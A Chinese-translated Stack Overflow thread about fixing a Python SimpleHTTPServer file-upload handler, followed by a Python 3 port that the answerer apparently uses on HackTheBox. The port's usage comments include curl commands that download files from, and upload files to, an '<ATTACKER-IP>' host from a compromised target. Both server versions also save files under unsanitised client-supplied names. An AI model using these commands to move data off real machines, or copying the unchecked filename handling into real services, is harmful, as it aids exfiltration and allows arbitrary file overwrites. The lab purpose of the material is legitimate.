【问题标题】:Python SimpleHTTPServer to receive filesPython SimpleHTTPServer 接收文件
【发布时间】:2026-02-03 12:10:01
【问题描述】:

我正在使用 SimpleHTTPServer 的 do_POST 方法来接收文件。如果我使用 curl 上传 png 文件,该脚本工作正常,但每当我使用 python 请求库上传文件时,文件上传但会损坏。这是 SimpleHTTPServer 代码

#!/usr/bin/env python
# Simple HTTP Server With Upload.

import os
import posixpath
import BaseHTTPServer
import urllib
import cgi
import shutil
import mimetypes
import re
try:
    from cStringIO import StringIO
except ImportError:
    from StringIO import StringIO

class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):    
    # Simple HTTP request handler with POST commands.

    def do_POST(self):
        """Serve a POST request."""
        r, info = self.deal_post_data()
        print r, info, "by: ", self.client_address
        f = StringIO()

        if r:
            f.write("<strong>Success:</strong>")
        else:
            f.write("<strong>Failed:</strong>")

        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.send_header("Content-Length", str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()

    def deal_post_data(self):
        print self.headers
        boundary = self.headers.plisttext.split("=")[1]
        print 'Boundary %s' %boundary
        remainbytes = int(self.headers['content-length'])
        print "Remain Bytes %s" %remainbytes
        line = self.rfile.readline()
        remainbytes -= len(line)
        if not boundary in line:
            return (False, "Content NOT begin with boundary")
        line = self.rfile.readline()
        remainbytes -= len(line)
        fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line)
        if not fn:
            return (False, "Can't find out file name...")
        path = self.translate_path(self.path)
        fn = os.path.join(path, fn[0])
        line = self.rfile.readline()
        remainbytes -= len(line)
        line = self.rfile.readline()
        remainbytes -= len(line)
        try:
            out = open(fn, 'wb')
        except IOError:
            return (False, "Can't create file to write, do you have permission to write?")

        preline = self.rfile.readline()
        remainbytes -= len(preline)
        while remainbytes > 0:
            line = self.rfile.readline()
            remainbytes -= len(line)
            if boundary in line:
                preline = preline[0:-1]
                if preline.endswith('\r'):
                    preline = preline[0:-1]
                out.write(preline)
                out.close()
                return (True, "File '%s' upload success!" % fn)
            else:
                out.write(preline)
                preline = line
        return (False, "Unexpect Ends of data.")



    def translate_path(self, path):
        """Translate a /-separated PATH to the local filename syntax.

        Components that mean special things to the local file system
        (e.g. drive or directory names) are ignored.  (XXX They should
        probably be diagnosed.)

        """
        # abandon query parameters
        path = path.split('?',1)[0]
        path = path.split('#',1)[0]
        path = posixpath.normpath(urllib.unquote(path))
        words = path.split('/')
        words = filter(None, words)
        path = os.getcwd()
        for word in words:
            drive, word = os.path.splitdrive(word)
            head, word = os.path.split(word)
            if word in (os.curdir, os.pardir): continue
            path = os.path.join(path, word)
        return path

    def copyfile(self, source, outputfile):
        """Copy all data between two file objects.

        The SOURCE argument is a file object open for reading
        (or anything with a read() method) and the DESTINATION
        argument is a file object open for writing (or
        anything with a write() method).

        The only reason for overriding this would be to change
        the block size or perhaps to replace newlines by CRLF
        -- note however that this the default server uses this
        to copy binary data as well.

        """
        shutil.copyfileobj(source, outputfile)



def test(HandlerClass = SimpleHTTPRequestHandler,
         ServerClass = BaseHTTPServer.HTTPServer):
    BaseHTTPServer.test(HandlerClass, ServerClass)

if __name__ == '__main__':
    test()

上传文件的客户端代码在这里

#!/usr/bin/python

import requests

files = {'file': open('test.png', 'rb')}
r = requests.post('http://192.168.5.134:8000', files=files)
print r.request.headers

文件已成功上传,但已损坏。

python request header

SimpleHTTPServer response

使用 curl [ curl -F 'file=@test.png' 192.168.5.134:8000/ -v ],文件上传打开成功。

python-request 代码有什么问题吗?

【问题讨论】:

    标签: python file-upload cgi python-requests simplehttpserver


    【解决方案1】:

    curlrequest 的标题略有不同,curl 有一个额外的空行,而 requests 没有。

    preline = self.rfile.readline() 替换为以下块

    if line.strip():
        preline = line
    else:
        preline = self.rfile.readline()
    

    【讨论】:

    • 太棒了! :) 非常感谢@Maximilan 先生
    【解决方案2】:

    2019 年更新:我今天在 hackthebox.eu 上玩游戏时正在寻找此功能。我对 Python 不太了解,但我最终采用了这个示例并将其移植到 Python 3,因为此时 Python 2 基本上已经死了。

    希望这可以帮助任何在 2019 年寻找此功能的人,我总是很高兴听到我可以改进代码的方法。获取它在https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c

    感谢提问者和提供信息的评论者!

    编辑:我被要求粘贴代码,不用担心。我已经从简洁中删除了一些 cmets,所以这里有一些注释:

    1. 基于bones7456 的gist,因为归属很重要。
    2. 我从响应中删除了 HTML,因为我的用例不需要它。
    3. 在野外使用它,风险自负。我用它在HTB 上的服务器之间移动文件,所以它基本上是当前形式的玩具。
    4. 破解地球等

    从您的攻击设备中运行脚本,该脚本位于包含您的工具/数据的文件夹中,或者您正在旋转的盒子中。从目标 PC 连接到它,以简单方便地来回推送文件。

    #  Usage - connect from a shell on the target machine:
    #  Download a file from your attack device: 
    curl -O http://<ATTACKER-IP>:44444/<FILENAME>
    
    #  Upload a file back to your attack device: 
    curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/
    
    
    #  Multiple file upload supported, just add more -F 'file=@<FILENAME>'
    #  parameters to the command line.
    curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:44444/
    

    代码:

    #!/usr/env python3
    import http.server
    import socketserver
    import io
    import cgi
    
    # Change this to serve on a different port
    PORT = 44444
    
    class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
    
        def do_POST(self):        
            r, info = self.deal_post_data()
            print(r, info, "by: ", self.client_address)
            f = io.BytesIO()
            if r:
                f.write(b"Success\n")
            else:
                f.write(b"Failed\n")
            length = f.tell()
            f.seek(0)
            self.send_response(200)
            self.send_header("Content-type", "text/plain")
            self.send_header("Content-Length", str(length))
            self.end_headers()
            if f:
                self.copyfile(f, self.wfile)
                f.close()      
    
        def deal_post_data(self):
            ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
            pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
            pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
            if ctype == 'multipart/form-data':
                form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
                print (type(form))
                try:
                    if isinstance(form["file"], list):
                        for record in form["file"]:
                            open("./%s"%record.filename, "wb").write(record.file.read())
                    else:
                        open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
                except IOError:
                        return (False, "Can't create file to write, do you have permission to write?")
            return (True, "Files uploaded")
    
    Handler = CustomHTTPRequestHandler
    with socketserver.TCPServer(("", PORT), Handler) as httpd:
        print("serving at port", PORT)
        httpd.serve_forever()
    

    【讨论】:

    • 谢谢 - 我正要自己移植它。节省时间!